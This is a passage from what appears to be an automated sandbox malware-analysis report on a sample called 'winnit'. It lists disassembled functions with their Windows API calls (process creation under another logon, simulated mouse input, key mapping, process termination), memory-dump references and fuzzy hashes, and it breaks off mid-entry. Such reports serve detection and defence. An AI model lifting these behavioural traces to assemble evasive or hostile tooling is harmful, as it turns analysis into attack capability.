                                            • Part of subcall function 00AB2612: GetWindowLongW.USER32(?,000000EB), ref: 00AB2623
                                          • BeginPaint.USER32(?,?,?,?,?,?), ref: 00AB179A
                                          • GetWindowRect.USER32(?,?), ref: 00AB17FE
                                          • ScreenToClient.USER32(?,?), ref: 00AB181B
                                          • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00AB182C
                                          • EndPaint.USER32(?,?), ref: 00AB1876
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: PaintWindow$BeginClientLongRectScreenViewport
                                          • String ID:
                                          • API String ID: 1827037458-0
                                          • Opcode ID: 0858e69c6c9217e50cd8bc116a293cd043afe0985d2aed33eba3f4aa5c7e9305
                                          • Instruction ID: eafcdcd4fcb25e65f04ade48df721f1261e7bf01671133e410c3a295a10159ae
                                          • Opcode Fuzzy Hash: 0858e69c6c9217e50cd8bc116a293cd043afe0985d2aed33eba3f4aa5c7e9305
                                          • Instruction Fuzzy Hash: 25419D30500601AFD720DF65CC94FBA7BECFB45724F144669FAA98B2A2CB709845DB62
                                          Function 00B3B69E Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • ShowWindow.USER32(00B757B0,00000000,00F458E0,?,?,00B757B0,?,00B3B5A8,?,?), ref: 00B3B712
                                          • EnableWindow.USER32(00000000,00000000), ref: 00B3B736
                                          • ShowWindow.USER32(00B757B0,00000000,00F458E0,?,?,00B757B0,?,00B3B5A8,?,?), ref: 00B3B796
                                          • ShowWindow.USER32(00000000,00000004,?,00B3B5A8,?,?), ref: 00B3B7A8
                                          • EnableWindow.USER32(00000000,00000001), ref: 00B3B7CC
                                          • SendMessageW.USER32(?,0000130C,?,00000000), ref: 00B3B7EF
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Window$Show$Enable$MessageSend
                                          • String ID:
                                          • API String ID: 642888154-0
                                          • Opcode ID: 7ab838e186ef696973b55ee1d75c2819dd9e089b3ea1c7874aab04dbac928633
                                          • Instruction ID: 810c128153a5e2a299bfa159f70a122dc7a2c74acce4af80ccd2ce18a484fdab
                                          • Opcode Fuzzy Hash: 7ab838e186ef696973b55ee1d75c2819dd9e089b3ea1c7874aab04dbac928633
                                          • Instruction Fuzzy Hash: EC414F35601245EFDB26CF24C49AFA47BE1FB45310F2841F9EA488F6A6C731AC56CB91
                                          Function 00B2709E Relevance: 9.1, APIs: 6, Instructions: 97COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetForegroundWindow.USER32(?,?,?,?,?,?,00B24E41,?,?,00000000,00000001), ref: 00B270AC
                                            • Part of subcall function 00B239A0: GetWindowRect.USER32(?,?), ref: 00B239B3
                                          • GetDesktopWindow.USER32 ref: 00B270D6
                                          • GetWindowRect.USER32(00000000), ref: 00B270DD
                                          • mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 00B2710F
                                            • Part of subcall function 00B15244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00B152BC
                                          • GetCursorPos.USER32(?), ref: 00B2713B
                                          • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00B27199
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
                                          • String ID:
                                          • API String ID: 4137160315-0
                                          • Opcode ID: 1ba6abd5d947022223c9fc3b076d917bdd45a19dec49e6e4cfff007c3f8bd57e
                                          • Instruction ID: 1993aefb7c57fc66e9c6c9510d54ea1d13aaf01da5fcd2c0f87391b5db1a13e4
                                          • Opcode Fuzzy Hash: 1ba6abd5d947022223c9fc3b076d917bdd45a19dec49e6e4cfff007c3f8bd57e
                                          • Instruction Fuzzy Hash: 6031C172509316ABD720DF14D849E9FB7E9FF88314F100919F589A7191CA30EA19CB96
                                          Function 00B08879 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00B080A9: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00B080C0
                                            • Part of subcall function 00B080A9: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00B080CA
                                            • Part of subcall function 00B080A9: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00B080D9
                                            • Part of subcall function 00B080A9: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00B080E0
                                            • Part of subcall function 00B080A9: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00B080F6
                                          • GetLengthSid.ADVAPI32(?,00000000,00B0842F), ref: 00B088CA
                                          • GetProcessHeap.KERNEL32(00000008,00000000), ref: 00B088D6
                                          • HeapAlloc.KERNEL32(00000000), ref: 00B088DD
                                          • CopySid.ADVAPI32(00000000,00000000,?), ref: 00B088F6
                                          • GetProcessHeap.KERNEL32(00000000,00000000,00B0842F), ref: 00B0890A
                                          • HeapFree.KERNEL32(00000000), ref: 00B08911
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
                                          • String ID:
                                          • API String ID: 3008561057-0
                                          • Opcode ID: 595d8aad47174ed2148b4269eddcf7bc00068025ba9d3fdad170bd3989ae0500
                                          • Instruction ID: 6547eb3e126f94c21f9e5a9b22c17b580c70082a55083e71fc00f5d5ba1a07a0
                                          • Opcode Fuzzy Hash: 595d8aad47174ed2148b4269eddcf7bc00068025ba9d3fdad170bd3989ae0500
                                          • Instruction Fuzzy Hash: 9C11B131901609FFDF149FA4DC09FBE7BA8EB44311F2080A8E885A7250DB329E04DB60
                                          Function 00B085B1 Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00B085E2
                                          • OpenProcessToken.ADVAPI32(00000000), ref: 00B085E9
                                          • CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00B085F8
                                          • CloseHandle.KERNEL32(00000004), ref: 00B08603
                                          • CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00B08632
                                          • DestroyEnvironmentBlock.USERENV(00000000), ref: 00B08646
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                                          • String ID:
                                          • API String ID: 1413079979-0
                                          • Opcode ID: 5d1df041e485af45a3e13a982724b7cf6203328bb736e5afce74e885efce3f44
                                          • Instruction ID: 211690888fc52fde2a541f6c3ecaba04c07e310ae7fc753884049cc3396967cb
                                          • Opcode Fuzzy Hash: 5d1df041e485af45a3e13a982724b7cf6203328bb736e5afce74e885efce3f44
                                          • Instruction Fuzzy Hash: 46115C7250120EABDF118FA4DD49BEE7FE9EF08344F144065FE04A21A0CB728E60DB60
                                          Function 00B0B790 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetDC.USER32(00000000), ref: 00B0B7B5
                                          • GetDeviceCaps.GDI32(00000000,00000058), ref: 00B0B7C6
                                          • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00B0B7CD
                                          • ReleaseDC.USER32(00000000,00000000), ref: 00B0B7D5
                                          • MulDiv.KERNEL32(000009EC,?,00000000), ref: 00B0B7EC
                                          • MulDiv.KERNEL32(000009EC,?,?), ref: 00B0B7FE
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: CapsDevice$Release
                                          • String ID:
                                          • API String ID: 1035833867-0
                                          • Opcode ID: 039cb217c1f4003513e518a39c8499f8219b4e12178797d2cfa0c797bdabc2bc
                                          • Instruction ID: a709ad696feef3dae07707133f72fc1635b15328b4184b1363df30333ad46d45
                                          • Opcode Fuzzy Hash: 039cb217c1f4003513e518a39c8499f8219b4e12178797d2cfa0c797bdabc2bc
                                          • Instruction Fuzzy Hash: 51014475E40219BBEB109FA69D45E5EBFB8EB48751F1040B5FA04A7291DA709C10CF91
                                          Function 00AD0162 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON
                                          Download Yara Rule
                                          APIs
                                          • MapVirtualKeyW.USER32(0000005B,00000000), ref: 00AD0193
                                          • MapVirtualKeyW.USER32(00000010,00000000), ref: 00AD019B
                                          • MapVirtualKeyW.USER32(000000A0,00000000), ref: 00AD01A6
                                          • MapVirtualKeyW.USER32(000000A1,00000000), ref: 00AD01B1
                                          • MapVirtualKeyW.USER32(00000011,00000000), ref: 00AD01B9
                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 00AD01C1
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Virtual
                                          • String ID:
                                          • API String ID: 4278518827-0
                                          • Opcode ID: f260602a0655bdafd55ec74e78fb8cf93afc60650e15b2185f2014e78f696762
                                          • Instruction ID: be386ff6b070f692ff649095ef26535213fda1bd3c3491f0d6655f8e57064cb0
                                          • Opcode Fuzzy Hash: f260602a0655bdafd55ec74e78fb8cf93afc60650e15b2185f2014e78f696762
                                          • Instruction Fuzzy Hash: 870148B090175A7DE3008F5A8C85A56FEA8FF19354F00411BA15847941C7B5A864CBE5
                                          Function 00B153E9 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON
                                          Download Yara Rule
                                          APIs
                                          • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00B153F9
                                          • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00B1540F
                                          • GetWindowThreadProcessId.USER32(?,?), ref: 00B1541E
                                          • OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00B1542D
                                          • TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00B15437
                                          • CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00B1543E
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                          • String ID:
                                          • API String ID: 839392675-0
                                          • Opcode ID: 56958882e1bbe52b56b8294946f3bdb178773fb204e2d83bf427dc0517905f18
                                          • Instruction ID: 4875bd2ac8cf8d6377aa96b4aa95b285fe0daea4706c65d7d39f49ae65e8565c
                                          • Opcode Fuzzy Hash: 56958882e1bbe52b56b8294946f3bdb178773fb204e2d83bf427dc0517905f18
                                          • Instruction Fuzzy Hash: 32F09032A40559BBE7205BA2EC0EEFF7B7CEFC6B11F100169FA04D2060DBA01A01C6B5
                                          Function 00B17230 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • InterlockedExchange.KERNEL32(?,?), ref: 00B17243
                                          • EnterCriticalSection.KERNEL32(?,?,00AC0EE4,?,?), ref: 00B17254
                                          • TerminateThread.KERNEL32(00000000,000001F6,?,00AC0EE4,?,?), ref: 00B17261
                                          • WaitForSingleObject.KERNEL32(00000000,000003E8,?,00AC0EE4,?,?), ref: 00B1726E
                                            • Part of subcall function 00B16C35: CloseHandle.KERNEL32(00000000,?,00B1727B,?,00AC0EE4,?,?), ref: 00B16C3F
                                          • InterlockedExchange.KERNEL32(?,000001F6), ref: 00B17281
                                          • LeaveCriticalSection.KERNEL32(?,?,00AC0EE4,?,?), ref: 00B17288
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                          • String ID:
                                          • API String ID: 3495660284-0
                                          • Opcode ID: 353bfb792aca92eadc48b68b99dd3fa65ee0f0872e23f69df359ce466ec46246
                                          • Instruction ID: dc0c5b6f5488ee246564f64a52388b6615328add700dcb09438d9a2045b29c3a
                                          • Opcode Fuzzy Hash: 353bfb792aca92eadc48b68b99dd3fa65ee0f0872e23f69df359ce466ec46246
                                          • Instruction Fuzzy Hash: F1F05E3A944613EBDB111B64ED4CDEF7779EF49702B600571F603A20A1CFB65845CB90
                                          Function 00B08992 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON
                                          Download Yara Rule
                                          APIs
                                          • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00B0899D
                                          • UnloadUserProfile.USERENV(?,?), ref: 00B089A9
                                          • CloseHandle.KERNEL32(?), ref: 00B089B2
                                          • CloseHandle.KERNEL32(?), ref: 00B089BA
                                          • GetProcessHeap.KERNEL32(00000000,?), ref: 00B089C3
                                          • HeapFree.KERNEL32(00000000), ref: 00B089CA
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                          • String ID:
                                          • API String ID: 146765662-0
                                          • Opcode ID: e55c435d6fce5e10c21be17de31b2a8f507d8258478397541727919e466ce434
                                          • Instruction ID: d6f86e8e1a8f83234e612d13f4d39545f33f268f41bcb6a62cfdcbb30d74ac19
                                          • Opcode Fuzzy Hash: e55c435d6fce5e10c21be17de31b2a8f507d8258478397541727919e466ce434
                                          • Instruction Fuzzy Hash: FAE0C236404402FBDB011FE2EC0CD2ABB69FB89322B208230F22992070CF329424DB50
                                          Function 00B285ED Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON
                                          Download Yara Rule
                                          APIs
                                          • VariantInit.OLEAUT32(?), ref: 00B28613
                                          • CharUpperBuffW.USER32(?,?), ref: 00B28722
                                          • VariantClear.OLEAUT32(?), ref: 00B2889A
                                            • Part of subcall function 00B17562: VariantInit.OLEAUT32(00000000), ref: 00B175A2
                                            • Part of subcall function 00B17562: VariantCopy.OLEAUT32(00000000,?), ref: 00B175AB
                                            • Part of subcall function 00B17562: VariantClear.OLEAUT32(00000000), ref: 00B175B7
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Variant$ClearInit$BuffCharCopyUpper
                                          • String ID: AUTOIT.ERROR$Incorrect Parameter format
                                          • API String ID: 4237274167-1221869570
                                          • Opcode ID: 9248ed47ac9616d4d7675fb80cb7c23004fd5788f1822e575b1318b722cf3cda
                                          • Instruction ID: 5512d4262846fb3e068c52f87bb23add25a02b1318a1c2ef32b6c30e891d20be
                                          • Opcode Fuzzy Hash: 9248ed47ac9616d4d7675fb80cb7c23004fd5788f1822e575b1318b722cf3cda
                                          • Instruction Fuzzy Hash: AD916D716083019FC710DF24D58495BBBF8EF89714F1489AEF99A8B362DB31E905CB91
                                          Function 00B12A96 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00ACFC86: _wcscpy.LIBCMT ref: 00ACFCA9
                                          • _memset.LIBCMT ref: 00B12B87
                                          • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00B12BB6
                                          • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00B12C69
                                          • SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00B12C97
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ItemMenu$Info$Default_memset_wcscpy
                                          • String ID: 0
                                          • API String ID: 4152858687-4108050209
                                          • Opcode ID: 500d12eacae9477ae9a6e1260f42cb7cbcaa0efc1474f6d10130480a05a47bb4
                                          • Instruction ID: 861f0d1d78c694a8762b38101442e9ccfccbbdd756ec85eaf9b46f27e90b0c42
                                          • Opcode Fuzzy Hash: 500d12eacae9477ae9a6e1260f42cb7cbcaa0efc1474f6d10130480a05a47bb4
                                          • Instruction Fuzzy Hash: E851E1716083019FD7249F28D845AAFB7E8EF99310F440AADF995D3291DB70CDA4C792
                                          Function 00B0D56C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 121comlibraryloaderCOMMON
                                          Download Yara Rule
                                          APIs
                                          • CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00B0D5D4
                                          • SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 00B0D60A
                                          • GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 00B0D61B
                                          • SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00B0D69D
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ErrorMode$AddressCreateInstanceProc
                                          • String ID: DllGetClassObject
                                          • API String ID: 753597075-1075368562
                                          • Opcode ID: 1906f75f640dd63de4a724d8ddcf994a940ef4820b669200ef3aecab7c92dbcb
                                          • Instruction ID: 452aec497665a7619173cb8c1645dc8be6f0395d744bc45fab4599acf0d06134
                                          • Opcode Fuzzy Hash: 1906f75f640dd63de4a724d8ddcf994a940ef4820b669200ef3aecab7c92dbcb
                                          • Instruction Fuzzy Hash: 29415CB1600205EFDF05CF94D884AAABFE9EF44314F1581E9AD099F285DBB2D944DBA0
                                          Function 00B12753 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • _memset.LIBCMT ref: 00B127C0
                                          • GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00B127DC
                                          • DeleteMenu.USER32(?,00000007,00000000), ref: 00B12822
                                          • DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00B75890,00000000), ref: 00B1286B
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Menu$Delete$InfoItem_memset
                                          • String ID: 0
                                          • API String ID: 1173514356-4108050209
                                          • Opcode ID: f810943b61cf079e1bf71df31a5951cfc3733733ed8d45e2db47b23360a1e1aa
                                          • Instruction ID: 62145bac7646490e66490cd5984402a2a1f3b701ba15bb4e62470be6164c9b9d
                                          • Opcode Fuzzy Hash: f810943b61cf079e1bf71df31a5951cfc3733733ed8d45e2db47b23360a1e1aa
                                          • Instruction Fuzzy Hash: 4241D0702043019FDB24DF24C885FAABBE8EF85310F5449ADF8A5972D1DB30E855CB52
                                          Function 00B2D7A5 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON
                                          Download Yara Rule
                                          APIs
                                          • CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 00B2D7C5
                                            • Part of subcall function 00AB784B: _memmove.LIBCMT ref: 00AB7899
                                          Strings
                                          Memory Dump Source
